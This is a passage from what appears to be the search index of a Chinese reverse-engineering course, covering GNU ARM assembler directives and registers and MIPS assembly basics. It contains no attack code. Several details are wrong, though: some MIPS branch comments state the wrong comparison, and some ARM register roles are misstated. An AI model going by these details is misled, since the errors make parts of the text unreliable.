\u66ff\u6362\u5173\u8054\u7684\u4ee3\u7801\u5757\u503c\u5217\u8868\u4e2d\u7684\u503c\u3002 .macro <name> {<arg_1>} {,< arg_2>} ... {,<arg_N>}
\u4f7f\u7528 N \u4e2a\u53c2\u6570\u5b9a\u4e49\u540d\u4e3a<name>
\u7684\u6c47\u7f16\u7a0b\u5e8f\u5b8f\u3002\u5b8f\u5b9a\u4e49\u5fc5\u987b\u4ee5 .endm
\u7ed3\u5c3e\u3002 \u8981\u5728\u8f83\u65e9\u7684\u65f6\u5019\u4ece\u5b8f\u4e2d\u9003\u8131\uff0c\u8bf7\u4f7f\u7528 .exitm
\u3002 \u8fd9\u4e9b\u6307\u4ee4\u662f\u7c7b\u4f3c\u4e8e armasm \u4e2d\u7684 MACRO\uff0cMEND \u548cMEXIT\u3002 \u4f60\u5fc5\u987b\u5728\u865a\u62df\u5b8f\u53c2\u6570\u524d\u9762\u52a0 \\
. .rept <number_of_times>
\u91cd\u590d\u7ed9\u5b9a\u6b21\u6570\u7684\u4ee3\u7801\u5757\u3002 \u4ee5.endr
\u7ed3\u675f\u3002 <register_name> .req <register_name>
\u8be5\u6307\u4ee4\u547d\u540d\u4e00\u4e2a\u5bc4\u5b58\u5668\u3002 \u5b83\u4e0e armasm \u4e2d\u7684 RN
\u6307\u4ee4\u7c7b\u4f3c\uff0c\u4e0d\u540c\u4e4b\u5904\u5728\u4e8e\u60a8\u5fc5\u987b\u5728\u53f3\u4fa7\u63d0\u4f9b\u540d\u79f0\u800c\u4e0d\u662f\u6570\u5b57\uff08\u4f8b\u5982\uff0cacc .req r0
\uff09 .section <section_name> {,\"<flags> \"}
\u542f\u52a8\u65b0\u7684\u4ee3\u7801\u6216\u6570\u636e\u90e8\u5206\u3002 GNU \u4e2d\u6709\u8fd9\u4e9b\u90e8\u5206:.text
\u4ee3\u7801\u90e8\u5206;.data
\u521d\u59cb\u5316\u6570\u636e\u90e8\u5206\u548c.bss
\u672a\u521d\u59cb\u5316\u6570\u636e\u90e8\u5206\u3002 \u8fd9\u4e9b\u90e8\u5206\u6709\u9ed8\u8ba4\u503cflags\u548c\u94fe\u63a5\u5668\u7406\u89e3\u9ed8\u8ba4\u540d\u79f0\uff08\u4e0earmasm\u6307\u4ee4AREA\u7c7b\u4f3c\u7684\u6307\u4ee4\uff09\u3002 \u4ee5\u4e0b\u662f ELF \u683c\u5f0f\u6587\u4ef6\u5141\u8bb8\u7684 .section\u6807\u5fd7\uff1a a \u8868\u793a allowable section w \u8868\u793a writable section x \u8868\u793a executable section .set <variable_name>, <variable_value>
\u8be5\u6307\u4ee4\u8bbe\u7f6e\u53d8\u91cf\u7684\u503c\u3002 \u5b83\u7c7b\u4f3c\u4e8e SETA\u3002 .space <number_of_bytes> {,<fill_byte> }
\u4fdd\u7559\u7ed9\u5b9a\u7684\u5b57\u8282\u6570\u3002 \u5982\u679c\u6307\u5b9a\u4e86\u5b57\u8282\uff0c\u5219\u586b\u5145\u96f6\u6216 <fill_byte>
\uff08\u7c7b\u4f3c\u4e8e armasm \u4e2d\u7684 SPACE\uff09 .word <word1> {,<word2>}...
\u5c06 32 \u4f4d\u5b57\u503c\u5217\u8868\u4f5c\u4e3a\u6570\u636e\u63d2\u5165\u5230\u7a0b\u5e8f\u96c6\u4e2d\uff08\u7c7b\u4f3c\u4e8e armasm \u4e2d\u7684 DCD\uff09\u3002"},{"location":"Training/Material/Reverse/#353","title":"3.5.3 \u5bc4\u5b58\u5668\u540d\u79f0","text":"\u901a\u7528\u5bc4\u5b58\u5668\uff1a
%r0 - %r15
fp \u5bc4\u5b58\u5668\uff1a
%f0 - %f7
\u4e34\u65f6\u5bc4\u5b58\u5668\uff1a
%r0 - %r3, %r12
\u4fdd\u5b58\u5bc4\u5b58\u5668\uff1a
%r4 - %r10
\u5806\u6808 ptr \u5bc4\u5b58\u5668\uff1a
%sp
\u5e27 ptr \u5bc4\u5b58\u5668\uff1a
%fp
\u94fe\u63a5\u5bc4\u5b58\u5668\uff1a
%lr
\u7a0b\u5e8f\u8ba1\u6570\u5668\uff1a
%ip
\u72b6\u6001\u5bc4\u5b58\u5668\uff1a
$psw
\u72b6\u6001\u6807\u5fd7\u5bc4\u5b58\u5668\uff1a
xPSR
xPSR_all
xPSR_f
xPSR_x
xPSR_ctl
xPSR_fs
xPSR_fx
xPSR_fc
xPSR_cs
xPSR_cf
xPSR_cx
"},{"location":"Training/Material/Reverse/#354","title":"3.5.4 \u6c47\u7f16\u7a0b\u5e8f\u7279\u6b8a\u5b57\u7b26/\u8bed\u6cd5","text":"\u5185\u8054\u8bc4\u8bba\u5b57\u7b26\uff1a '@'
\u884c\u8bc4\u8bba\u5b57\u7b26\uff1a '\uff03'
\u8bed\u53e5\u5206\u9694\u7b26\uff1a ';'
\u7acb\u5373\u64cd\u4f5c\u6570\u524d\u7f00\uff1a '\uff03' \u6216 '$'
"},{"location":"Training/Material/Reverse/#355-arm","title":"3.5.5 arm\u7a0b\u5e8f\u8c03\u7528\u6807\u51c6","text":"\u53c2\u6570\u5bc4\u5b58\u5668 \uff1a\uff05a0 - \uff05a4\uff08\u522b\u540d\u4e3a\uff05r0 - \uff05r4\uff09
\u8fd4\u56de\u503cregs \uff1a\uff05v1 - \uff05v6\uff08\u522b\u540d\u4e3a\uff05r4 - \uff05r9\uff09
"},{"location":"Training/Material/Reverse/#356","title":"3.5.6 \u5bfb\u5740\u6a21\u5f0f","text":"addr
\u7edd\u5bf9\u5bfb\u5740\u6a21\u5f0f
\uff05rn
\u5bc4\u5b58\u5668\u76f4\u63a5\u5bfb\u5740
[\uff05rn]
\u5bc4\u5b58\u5668\u95f4\u63a5\u5bfb\u5740\u6216\u7d22\u5f15
[\uff05rn\uff0c\uff03n]
\u57fa\u4e8e\u5bc4\u5b58\u5668\u7684\u504f\u79fb\u91cf
\u4e0a\u8ff0 \"rn\" \u6307\u4efb\u610f\u5bc4\u5b58\u5668\uff0c\u4f46\u4e0d\u5305\u62ec\u63a7\u5236\u5bc4\u5b58\u5668\u3002
"},{"location":"Training/Material/Reverse/#357","title":"3.5.7 \u673a\u5668\u76f8\u5173\u6307\u4ee4","text":"\u6307\u4ee4 \u63cf\u8ff0 .arm \u4f7f\u7528arm\u6a21\u5f0f\u8fdb\u884c\u88c5\u914d .thumb \u4f7f\u7528thumb\u6a21\u5f0f\u8fdb\u884c\u88c5\u914d .code16 \u4f7f\u7528thumb\u6a21\u5f0f\u8fdb\u884c\u88c5\u914d .code32 \u4f7f\u7528arm\u6a21\u5f0f\u8fdb\u884c\u7ec4\u88c5 .force_thumb Force thumb\u6a21\u5f0f\uff08\u5373\u4f7f\u4e0d\u652f\u6301\uff09 .thumb_func \u5c06\u8f93\u5165\u70b9\u6807\u8bb0\u4e3athumb\u7f16\u7801\uff08\u5f3a\u5236bx\u6761\u76ee\uff09 .ltorg \u542f\u52a8\u4e00\u4e2a\u65b0\u7684\u6587\u5b57\u6c60"},{"location":"Training/Material/Reverse/#36-mips","title":"3.6 MIPS\u6c47\u7f16\u57fa\u7840","text":""},{"location":"Training/Material/Reverse/#_15","title":"\u6570\u636e\u7c7b\u578b\u548c\u5e38\u91cf","text":"\u4e24\u79cd\u683c\u5f0f\u7528\u4e8e\u5bfb\u5740\uff1a
$ 0
\u5230 $ 31
$ t1
\uff0c$ sp
mfhi
\uff08 \u201c \u4ece Hi \u79fb\u52a8 \u201d \uff09\u548c mflo
\uff08 \u201c \u4ece Lo \u79fb\u52a8 \u201d \uff09\u8bbf\u95ee\u7684\u5185\u5bb9$0
$zero
\u5e38\u91cf0(constant value 0) $1
$at
\u4fdd\u7559\u7ed9\u6c47\u7f16\u5668(Reserved for assembler) $2-$3
$v0-$v1
\u51fd\u6570\u8c03\u7528\u8fd4\u56de\u503c(values for results and expression evaluation) $4-$7
$a0-$a3
\u51fd\u6570\u8c03\u7528\u53c2\u6570(arguments) $8-$15
$t0-$t7
\u6682\u65f6\u7684(\u6216\u968f\u4fbf\u7528\u7684) $16-$23
$s0-$s7
\u4fdd\u5b58\u7684(\u6216\u5982\u679c\u7528\uff0c\u9700\u8981SAVE/RESTORE\u7684)(saved) $24-$25
$t8-$t9
\u6682\u65f6\u7684(\u6216\u968f\u4fbf\u7528\u7684) $26~$27
$k0~$k1
\u4fdd\u7559\u4f9b\u4e2d\u65ad/\u9677\u9631\u5904\u7406\u7a0b\u5e8f\u4f7f\u7528 $28
$gp
\u5168\u5c40\u6307\u9488(Global Pointer) $29
$sp
\u5806\u6808\u6307\u9488(Stack Pointer) $30
$fp
\u5e27\u6307\u9488(Frame Pointer) $31
$ra
\u8fd4\u56de\u5730\u5740(return address) \u518d\u6765\u8bf4\u4e00\u8bf4\u8fd9\u4e9b\u5bc4\u5b58\u5668 :
ret = strncmp(\"bear\",\"bearer\",4)
\u53c2\u6570\u5c11\u4e8e 16 \u5b57\u8282\uff0c\u53ef\u4ee5\u653e\u5165\u5bc4\u5b58\u5668\u4e2d\uff0c\u5728 strncmp \u7684\u51fd\u6570\u91cc\uff0ca0 \u5b58\u653e\u7684\u662f \"bear\" \u8fd9\u4e2a\u5b57\u7b26\u4e32\u6240\u5728\u7684\u53ea\u8bfb\u533a\u5730\u5740\uff0ca1 \u662f \"bearer\" \u7684\u5730\u5740\uff0ca2 \u662f 4.jr x
\uff0cX \u662f\u4e00\u4e2a MIPS \u5bc4\u5b58\u5668\uff0c\u5982\u679c\u5b58\u653e\u5728\u524d\u9762\u63d0\u5230\u7684 t0,s0 \u7b49\u7b49\uff0c\u90a3\u4e48 PC \u8df3\u56de\u4efb\u52a1\u6267\u884c\u73b0\u573a\u65f6\uff0c\u8fd9\u4e2a\u5bc4\u5b58\u5668\u91cc\u7684\u503c\u5c31\u4e0d\u518d\u662f\u5f02\u5e38\u53d1\u751f\u4e4b\u524d\u7684\u503c\u3002\u6240\u4ee5\u5fc5\u987b\u8981\u6709\u65f6\u5c31\u53ef\u4ee5\u4e00\u53e5 jr k0
\u6307\u4ee4\u8fd4\u56de\u4e86\u3002 k1 \u662f\u53e6\u5916\u4e00\u4e2a\u4e13\u4e3a\u5f02\u5e38\u800c\u751f\u7684\u5bc4\u5b58\u5668\uff0c\u5b83\u53ef\u4ee5\u7528\u6765\u8bb0\u5f55\u4e2d\u65ad\u5d4c\u5957\u7684\u6df1\u5ea6\u3002CPU \u5728\u6267\u884c\u4efb\u52a1\u7a7a\u95f4\u7684\u4ee3\u7801\u65f6\uff0ck1 \u5c31\u53ef\u4ee5\u7f6e\u4e3a 0\uff0c\u8fdb\u5165\u5230\u4e2d\u65ad\u7a7a\u95f4\uff0c\u6bcf\u8fdb\u5165\u4e00\u6b21\u5c31\u52a0 1\uff0c\u9000\u51fa\u4e00\u6b21\u76f8\u5e94\u51cf 1\uff0c\u8fd9\u6837\u5c31\u53ef\u4ee5\u8bb0\u5f55\u4e2d\u65ad\u5d4c\u5957\u7684\u6df1\u5ea6\u3002\u8fd9\u4e2a\u6df1\u5ea6\u5728\u8c03\u8bd5\u95ee\u9898\u7684\u65f6\u5019\u7ecf\u5e38\u4f1a\u7528\u5230\uff0c\u540c\u65f6\u5e94\u7528\u7a0b\u5e8f\u5728\u505a\u4e00\u6b21\u4e8b\u60c5\u7684\u65f6\u5019\u53ef\u80fd\u4f1a\u9700\u8981\u77e5\u9053\u5f53\u524d\u662f\u5728\u4efb\u52a1\u8fd8\u662f\u4e2d\u65ad\u4e0a\u4e0b\u6587\uff0c\u8fd9\u65f6\uff0c\u4e5f\u53ef\u4ee5\u901a\u8fc7 k1 \u5bc4\u5b58\u5668\u662f\u5426\u4e3a 0 \u6765\u5224\u65ad\u3002jal function_X
\u8fd9\u6761\u6307\u4ee4 jal(jump-and-link,\u8df3\u8f6c\u5e76\u94fe\u63a5) \u6307\u4ee4\u4f1a\u5c06\u5f53\u671f\u6267\u884c\u8fd0\u884c\u6307\u4ee4\u7684\u5730\u5740 +4 \u5b58\u50a8\u5230 ra \u5bc4\u5b58\u5668\u91cc\uff0c\u7136\u540e\u8df3\u8f6c\u5230 function_X \u7684\u5730\u5740\u5904\u3002\u76f8\u5e94\u7684\uff0c\u5b50\u51fd\u6570\u8fd4\u56de\u65f6\uff0c\u6700\u5e38\u89c1\u7684\u4e00\u6761\u6307\u4ee4\u5c31\u662f jr ra
ra \u662f\u4e00\u4e2a\u5bf9\u4e8e\u8c03\u8bd5\u5f88\u6709\u7528\u7684\u5bc4\u5b58\u5668\uff0c\u7cfb\u7edf\u7684\u8fd0\u884c\u7684\u4efb\u4f55\u65f6\u523b\u90fd\u53ef\u4ee5\u67e5\u770b\u5b83\u7684\u503c\u4ee5\u83b7\u53d6 CPU \u7684\u8fd0\u884c\u8f68\u8ff9\u3002\u6700\u540e\uff0c\u5982\u679c\u7eaf\u5199\u6c47\u7f16\u8bed\u53e5\u7684\u8bdd\uff0c\u8fd9\u4e9b\u5bc4\u5b58\u5668\u5f53\u4e2d\u9664\u4e86 zero \u4e4b\u5916\uff0c\u5176\u5b83\u7684\u57fa\u672c\u4e0a\u90fd\u53ef\u4ee5\u505a\u666e\u901a\u5bc4\u5b58\u5668\u5b58\u53d6\u6570\u636e\u4f7f\u7528\uff08\u8fd9\u4e5f\u662f\u5b83\u4eec\u4e3a\u4ec0\u4e48\u4f1a\u5b9a\u4e49\u4e3a\u201c\u901a\u7528\u5bc4\u5b58\u5668\u201d\uff0c\u800c\u4e0d\u50cf\u5176\u5b83\u7684\u534f\u5904\u7406\u5668\u3001\u6216\u8005\u5916\u8bbe\u7684\u90fd\u662f\u4e13\u7528\u5bc4\u5b58\u5668\uff0c\u5176\u5728\u51fa\u5382\u65f6\u6240\u6709\u7684\u529f\u80fd\u90fd\u662f\u5b9a\u6b7b\u7684\uff09\uff0c\u90a3\u4e3a\u4ec0\u4e48\u6709\u8fd9\u4e48\u591a\u89c4\u5219\u5462 \uff1fMIPS \u5f00\u53d1\u8005\u4eec\u4e3a\u4e86\u8ba9\u81ea\u5df1\u7684\u5904\u7406\u5668\u53ef\u4ee5\u8fd0\u884c\u50cf C\u3001Java \u8fd9\u6837\u7684\u9ad8\u7ea7\u8bed\u8a00\uff0c\u4ee5\u53ca\u8ba9\u6c47\u7f16\u8bed\u8a00\u548c\u9ad8\u7ea7\u8bed\u8a00\u53ef\u4ee5\u5b89\u5168\u7684\u6df7\u5408\u7f16\u7a0b\u800c\u8bbe\u8ba1\u7684\u4e00\u5957 ABI\uff08\u5e94\u7528\u7f16\u7a0b\u63a5\u53e3\uff09\uff0c\u4e0d\u540c\u7684\u7f16\u8bd1\u5668\u7684\u8bbe\u8ba1\u8005\u4eec\u5c31\u4f1a\u6709\u636e\u53ef\u4f9d\uff0c\u7cfb\u7edf\u7a0b\u5e8f\u5458\u4eec\u5728\u9605\u8bfb\u3001\u4fee\u6539\u6c47\u7f16\u7a0b\u5e8f\u7684\u65f6\u5019\u4e5f\u80fd\u6839\u636e\u8fd9\u4e9b\u7ea6\u5b9a\u800c\u66f4\u4e3a\u987a\u7545\u5730\u7406\u89e3\u6c47\u7f16\u4ee3\u7801\u7684\u542b\u4e49\u3002
"},{"location":"Training/Material/Reverse/#_17","title":"\u7a0b\u5e8f\u7ed3\u6784","text":".data
\u4e3a\u6807\u8bc6.text
\u6807\u8bc6\u7684\u6587\u672c\u90e8\u5206\u4e2dmain
\u4ee3\u7801\u6267\u884c\u7684\u8d77\u70b9 ( \u548c C \u8bed\u8a00\u4e00\u6837 )\uff03 \u540e\u9762\u7684\u4efb\u4f55\u5185\u5bb9\u90fd\u4f1a\u88ab\u89c6\u4e3a\u6ce8\u91ca
\uff03\u7ed9\u51fa\u7a0b\u5e8f\u540d\u79f0\u548c\u529f\u80fd\u63cf\u8ff0\u7684\u6ce8\u91ca\n\uff03Template.s\n#MIPS\u6c47\u7f16\u8bed\u8a00\u7a0b\u5e8f\u7684Bare-bones\u6982\u8ff0\n\n .data #\u53d8\u91cf\u58f0\u660e\u9075\u5faa\u8fd9\u4e00\u884c\n \uff03...\n .text\uff03\u6307\u4ee4\u8ddf\u968f\u8fd9\u4e00\u884c\n\n main\uff1a\uff03\u8868\u793a\u4ee3\u7801\u7684\u5f00\u59cb\uff08\u6267\u884c\u7684\u7b2c\u4e00\u6761\u6307\u4ee4\uff09\n \uff03...\n\n\uff03\u7a0b\u5e8f\u7ed3\u675f\uff0c\u4e4b\u540e\u7559\u7a7a\uff0c\u8ba9SPIM\u6ee1\u610f.\n
"},{"location":"Training/Material/Reverse/#_21","title":"\u53d8\u91cf\u58f0\u660e","text":"\u58f0\u660e\u683c\u5f0f\uff1a
name\uff1astorage_type value\uff08s\uff09\n
\u4f7f\u7528\u7ed9\u5b9a\u540d\u79f0\u548c\u6307\u5b9a\u503c\u4e3a\u6307\u5b9a\u7c7b\u578b\u7684\u53d8\u91cf\u521b\u5efa\u7a7a\u95f4
value (s) \u901a\u5e38\u7ed9\u51fa\u521d\u59cb\u503c; \u5bf9\u4e8e.space\uff0c\u7ed9\u51fa\u8981\u5206\u914d\u7684\u7a7a\u683c\u6570
\u6ce8\u610f\uff1a\u6807\u7b7e\u540e\u9762\u8ddf\u5192\u53f7\uff08:)
var1\uff1a.word 3 \uff03\u521b\u5efa\u4e00\u4e2a\u521d\u59cb\u503c\u4e3a 3 \u7684\u6574\u6570\u53d8\u91cf\narray1\uff1a.byte'a'\uff0c'b' \uff03\u521b\u5efa\u4e00\u4e2a\u5143\u7d20\u521d\u59cb\u5316\u7684 2 \u5143\u7d20\u5b57\u7b26\u6570\u7ec4\u5230 a \u548c b\n\narray2\uff1a.space 40 #\u5206\u914d 40 \u4e2a\u8fde\u7eed\u5b57\u8282, \u672a\u521d\u59cb\u5316\u7684\u7a7a\u95f4\u53ef\u4ee5\u7528\u4f5c 40 \u4e2a\u5143\u7d20\u7684\u5b57\u7b26\u6570\u7ec4, \u6216\u8005\u662f\n #10 \u4e2a\u5143\u7d20\u7684\u6574\u6570\u6570\u7ec4.\n
"},{"location":"Training/Material/Reverse/#loadstore","title":"\u8bfb\u53d6/\u5199\u5165 ( Load/Store )\u6307\u4ee4","text":"load
\u6216\u8005 store
)load
\uff1a
lw register_destination\uff0cRAM_source\n#\u5c06\u6e90\u5185\u5b58\u5730\u5740\u7684\u5b57 ( 4 \u4e2a\u5b57\u8282 ) \u590d\u5236\u5230\u76ee\u6807\u5bc4\u5b58\u5668,\uff08lw\u4e2d\u7684'w'\u610f\u4e3a'word',\u5373\u8be5\u6570\u636e\u5927\u5c0f\u4e3a4\u4e2a\u5b57\u8282\uff09\nlb register_destination\uff0cRAM_source\n#\u5c06\u6e90\u5185\u5b58\u5730\u5740\u7684\u5b57\u8282\u590d\u5236\u5230\u76ee\u6807\u5bc4\u5b58\u5668\u7684\u4f4e\u4f4d\u5b57\u8282, \u5e76\u5c06\u7b26\u53f7\u6620\u5c04\u5230\u9ad8\u4f4d\u5b57\u8282 ( \u540c\u4e0a, lb \u610f\u4e3a load byte )\n
store
\uff1a
sw register_source\uff0cRAM_destination\n#\u5c06\u6e90\u5bc4\u5b58\u5668\u7684\u5b57\u5b58\u50a8\u5230\u76ee\u6807\u5185\u5b58RAM\u4e2d\nsb register_source\uff0cRAM_destination\n#\u5c06\u6e90\u5bc4\u5b58\u5668\u4e2d\u7684\u4f4e\u4f4d\u5b57\u8282\u5b58\u50a8\u5230\u76ee\u6807\u5185\u5b58RAM\u4e2d\n
\u7acb\u5373\u52a0\u8f7d\uff1a
li register_destination\uff0cvalue\n#\u628a\u7acb\u5373\u503c\u52a0\u8f7d\u5230\u76ee\u6807\u5bc4\u5b58\u5668\u4e2d,\u987e\u540d\u601d\u4e49, \u8fd9\u91cc\u7684 li \u610f\u4e3a load immediate, \u5373\u7acb\u5373\u52a0\u8f7d.\n
.data\nvar1: .word 23 # \u7ed9\u53d8\u91cf var1 \u5728\u5185\u5b58\u4e2d\u5f00\u8f9f\u7a7a\u95f4, \u53d8\u91cf\u521d\u59cb\u503c\u4e3a 23\n\n .text\n__start:\n lw $t0, var1 # \u5c06\u5185\u5b58\u5355\u5143\u4e2d\u7684\u5185\u5bb9\u52a0\u8f7d\u5230\u5bc4\u5b58\u5668\u4e2d $t0: $t0 = var1\n li $t1, 5 # $t1 = 5 (\"\u7acb\u5373\u52a0\u8f7d\")\n sw $t1, var1 # \u628a\u5bc4\u5b58\u5668$t1\u7684\u5185\u5bb9\u5b58\u5230\u5185\u5b58\u4e2d : var1 = $t1\n done\n
"},{"location":"Training/Material/Reverse/#_22","title":"\u95f4\u63a5\u548c\u7acb\u5373\u5bfb\u5740","text":"*\u76f4\u63a5\u7ed9\u5730\u5740\uff1a*
la $t0\uff0cvar1\n
$t0
\u4e2d*\u95f4\u63a5\u5bfb\u5740, \u5730\u5740\u662f\u5bc4\u5b58\u5668\u7684\u5185\u5bb9, \u7c7b\u4f3c\u6307\u9488\uff1a*
lw $t2\uff0c\uff08$t0\uff09\n
$t0
\u4e2d\u5305\u542b\u7684 RAM \u5730\u5740\u52a0\u8f7d\u5230 $t2
sw $t2\uff0c\uff08$t0\uff09\n
$t2
\u5bc4\u5b58\u5668\u4e2d\u7684\u5b57\u5b58\u50a8\u5230 $t0
\u4e2d\u5305\u542b\u7684\u5730\u5740\u7684 RAM \u4e2d*\u57fa\u4e8e\u504f\u79fb\u91cf\u7684\u5bfb\u5740\uff1a*
lw $t2, 4\uff08$t0\uff09\n
$t0 + 4
) \u7684\u5b57\u52a0\u8f7d\u5230\u5bc4\u5b58\u5668 $t2
\u4e2d$t0
\u4e2d\u5730\u5740\u7684\u504f\u79fb\u91cf sw $t2\uff0c-12\uff08$t0\uff09\n
\u5c06\u5bc4\u5b58\u5668 $t2
\u4e2d\u7684\u5b57\u653e\u5230\u5185\u5b58\u5730\u5740\uff08 $t0 - 12
\uff09
\u8d1f\u504f\u79fb\u4e5f\u662f\u53ef\u4ee5\u7684, \u53cd\u5411\u6f02\u79fb\u65b9\u4e0d\u65b9 ?
\u6ce8\u610f\uff1a\u57fa\u4e8e\u504f\u79fb\u91cf \u7684\u5bfb\u5740\u7279\u522b\u9002\u7528\u4e8e\uff1a
\u6570\u7ec4; \u8bbf\u95ee\u5143\u7d20\u4f5c\u4e3a\u4e0e\u57fa\u5740\u7684\u504f\u79fb\u91cf
\u6808; \u6613\u4e8e\u8bbf\u95ee\u504f\u79bb\u6808\u6307\u9488\u6216\u5e27\u6307\u9488\u7684\u5143\u7d20
\u4f8b\u5b50
.data\n array1: .space 12 # \u5b9a\u4e49\u4e00\u4e2a 12\u5b57\u8282 \u957f\u5ea6\u7684\u6570\u7ec4 array1, \u5bb9\u7eb3 3\u4e2a\u6574\u578b\n .text\n __start: la $t0, array1 # \u8ba9 $t0 = \u6570\u7ec4\u9996\u5730\u5740\n li $t1, 5 # $t1 = 5 (\"load immediate\")\n sw $t1, ($t0) # \u6570\u7ec4\u7b2c\u4e00\u4e2a\u5143\u7d20\u8bbe\u7f6e\u4e3a 5; \u7528\u7684\u95f4\u63a5\u5bfb\u5740; array[0] = $1 = 5\n li $t1, 13 # $t1 = 13\n sw $t1, 4($t0) # \u6570\u7ec4\u7b2c\u4e8c\u4e2a\u5143\u7d20\u8bbe\u7f6e\u4e3a 13; array[1] = $1 = 13\n #\u8be5\u6570\u7ec4\u4e2d\u6bcf\u4e2a\u5143\u7d20\u5730\u5740\u76f8\u8ddd\u957f\u5ea6\u5c31\u662f\u81ea\u8eab\u6570\u636e\u7c7b\u578b\u957f\u5ea6\uff0c\u53734\u5b57\u8282\uff0c \u6240\u4ee5\u5bf9\u4e8earray+4\u5c31\u662farray[1]\n li $t1, -7 # $t1 = -7\n sw $t1, 8($t0) # \u7b2c\u4e09\u4e2a\u5143\u7d20\u8bbe\u7f6e\u4e3a -7; \n#array+8 = \uff08address[array[0])+4\uff09+ 4 = address(array[1]) + 4 = address(array[2])\n done\n
"},{"location":"Training/Material/Reverse/#_23","title":"\u7b97\u672f\u6307\u4ee4","text":"add $t0,$t1,$t2 # $t0 = $t1 + $t2;\u6dfb\u52a0\u4e3a\u5e26\u7b26\u53f7\uff082 \u7684\u8865\u7801\uff09\u6574\u6570\nsub $t2,$t3,$t4 # $t2 = $t3 \u00d0 $t4\naddi $t2,$t3, 5 # $t2 = $t3 + 5;\naddu $t1,$t6,$t7 # $t1 = $t6 + $t7;\u8ddf\u65e0\u7b26\u53f7\u6570\u90a3\u6837\u76f8\u52a0\nsubu $t1,$t6,$t7 # $t1 = $t6 - $t7;\u8ddf\u65e0\u7b26\u53f7\u6570\u90a3\u6837\u76f8\u51cf\n\nmult $t3,$t4 # \u8fd0\u7b97\u7ed3\u679c\u5b58\u50a8\u5728hi,lo\uff08hi\u9ad8\u4f4d\u6570\u636e\uff0c lo\u5730\u4f4d\u6570\u636e\uff09\ndiv $t5,$t6 # Lo = $t5 / $t6 (\u6574\u6570\u5546)\n # Hi = $t5 mod $t6 (\u6c42\u4f59\u6570)\n #\u5546\u6570\u5b58\u653e\u5728 lo, \u4f59\u6570\u5b58\u653e\u5728 hi\nmfhi $t0 # \u628a\u7279\u6b8a\u5bc4\u5b58\u5668 Hi \u7684\u503c\u79fb\u52a8\u5230 $t0 : $t0 = Hi\nmflo $t1 # \u628a\u7279\u6b8a\u5bc4\u5b58\u5668 Lo \u7684\u503c\u79fb\u52a8\u5230 $t1: $t1 = Lo\n#\u4e0d\u80fd\u76f4\u63a5\u83b7\u53d6 hi \u6216 lo\u4e2d\u7684\u503c\uff0c \u9700\u8981mfhi, mflo\u6307\u4ee4\u4f20\u503c\u7ed9\u5bc4\u5b58\u5668\n\nmove $t2,$t3 # $t2 = $t3\n
"},{"location":"Training/Material/Reverse/#_24","title":"\u6d41\u7a0b\u63a7\u5236","text":"\u5206\u652f ( if-else )
b target \uff03\u65e0\u6761\u4ef6\u5206\u652f,\u76f4\u63a5\u5230\u7a0b\u5e8f\u6807\u7b7e\u76ee\u6807\n beq $t0, $t1, target \uff03if $t0 = $ t1, \u5c31\u8df3\u5230\u76ee\u6807\n blt $t0, $t1, target \uff03if $t0 <$ t1, \u5c31\u8df3\u5230\u76ee\u6807\n ble $t0, $t1, target \uff03if $t0 <= $ t1, \u5c31\u8df3\u5230\u76ee\u6807\n bgt $t0, $t1, target \uff03if $t0 $ t1, \u5c31\u8df3\u5230\u76ee\u6807\n bge $t0, $t1, target \uff03if $t0 = $ t1, \u5c31\u8df3\u5230\u76ee\u6807\n bne $t0, $t1, target #if $t0 < $t1, \u5c31\u8df3\u5230\u76ee\u6807\n
\u8df3\u8f6c ( while, for, goto )
j target #\u770b\u5230\u5c31\u8df3\uff0c \u4e0d\u7528\u8003\u8651\u4efb\u4f55\u6761\u4ef6\n jr $t3 #\u7c7b\u4f3c\u76f8\u5bf9\u5bfb\u5740\uff0c\u8df3\u5230\u8be5\u5bc4\u5b58\u5668\u7ed9\u51fa\u7684\u5730\u5740\u5904\n
\u5b50\u7a0b\u5e8f\u8c03\u7528
\u5b50\u7a0b\u5e8f\u8c03\u7528\uff1a\u201c \u8df3\u8f6c\u548c\u94fe\u63a5 \u201d \u6307\u4ee4
jal sub_label \uff03\u201c\u8df3\u8f6c\u548c\u94fe\u63a5\u201d\n
\u5c06\u5f53\u524d\u7684\u7a0b\u5e8f\u8ba1\u6570\u5668\u4fdd\u5b58\u5230 $ra
\u4e2d
\u8df3\u8f6c\u5230 sub_label
\u7684\u7a0b\u5e8f\u8bed\u53e5
\u5b50\u7a0b\u5e8f\u8fd4\u56de\uff1a\u201c\u8df3\u8f6c\u5bc4\u5b58\u5668\u201d\u6307\u4ee4
jr $ra \uff03\u201c\u8df3\u8f6c\u5bc4\u5b58\u5668\u201d\n
\u6ce8\u610f\uff1a\u5bc4\u5b58\u5730\u5740\u5b58\u50a8\u5728\u5bc4\u5b58\u5668 $ra
\u4e2d; \u5982\u679c\u5b50\u4f8b\u7a0b\u5c06\u8c03\u7528\u5176\u4ed6\u5b50\u4f8b\u7a0b\uff0c\u6216\u8005\u662f\u9012\u5f52\u7684\uff0c\u5219\u8fd4\u56de\u5730\u5740\u5e94\u8be5\u4ece $ra
\u590d\u5236\u5230\u6808\u4ee5\u4fdd\u7559\u5b83\uff0c\u56e0\u4e3a jal
\u603b\u662f\u5c06\u8fd4\u56de\u5730\u5740\u653e\u5728\u8be5\u5bc4\u5b58\u5668\u4e2d\uff0c\u56e0\u6b64\u5c06\u8986\u76d6\u4e4b\u524d\u7684\u503c
\u901a\u8fc7\u7cfb\u7edf\u8c03\u7528\u5b9e\u73b0\u4ece\u8f93\u5165/\u8f93\u51fa\u7a97\u53e3\u8bfb\u53d6\u6216\u6253\u5370\u503c\u6216\u5b57\u7b26\u4e32\uff0c\u5e76\u6307\u793a\u7a0b\u5e8f\u7ed3\u675f
syscall
\u9996\u5148\u5728\u5bc4\u5b58\u5668 $v0
\u548c $a0 - $a1
\u4e2d\u63d0\u4f9b\u9002\u5f53\u7684\u503c
\u5bc4\u5b58\u5668 $v0
\u4e2d\u5b58\u50a8\u8fd4\u56de\u7684\u7ed3\u679c\u503c\uff08 \u5982\u679c\u6709\u7684\u8bdd \uff09
\u4e0b\u8868\u5217\u51fa\u4e86\u53ef\u80fd\u7684 \u7cfb\u7edf\u8c03\u7528 \u670d\u52a1\u3002
Service \u670d\u52a1 Code in$v0
\u5bf9\u5e94\u529f\u80fd\u7684\u8c03\u7528\u7801 Arguments \u6240\u9700\u53c2\u6570 Results \u8fd4\u56de\u503c print \u4e00\u4e2a\u6574\u578b\u6570 $v0
= 1 $a0
= \u8981\u6253\u5370\u7684\u6574\u578b\u6570 print \u4e00\u4e2a\u6d6e\u70b9\u6570 $v0
= 2 $f12
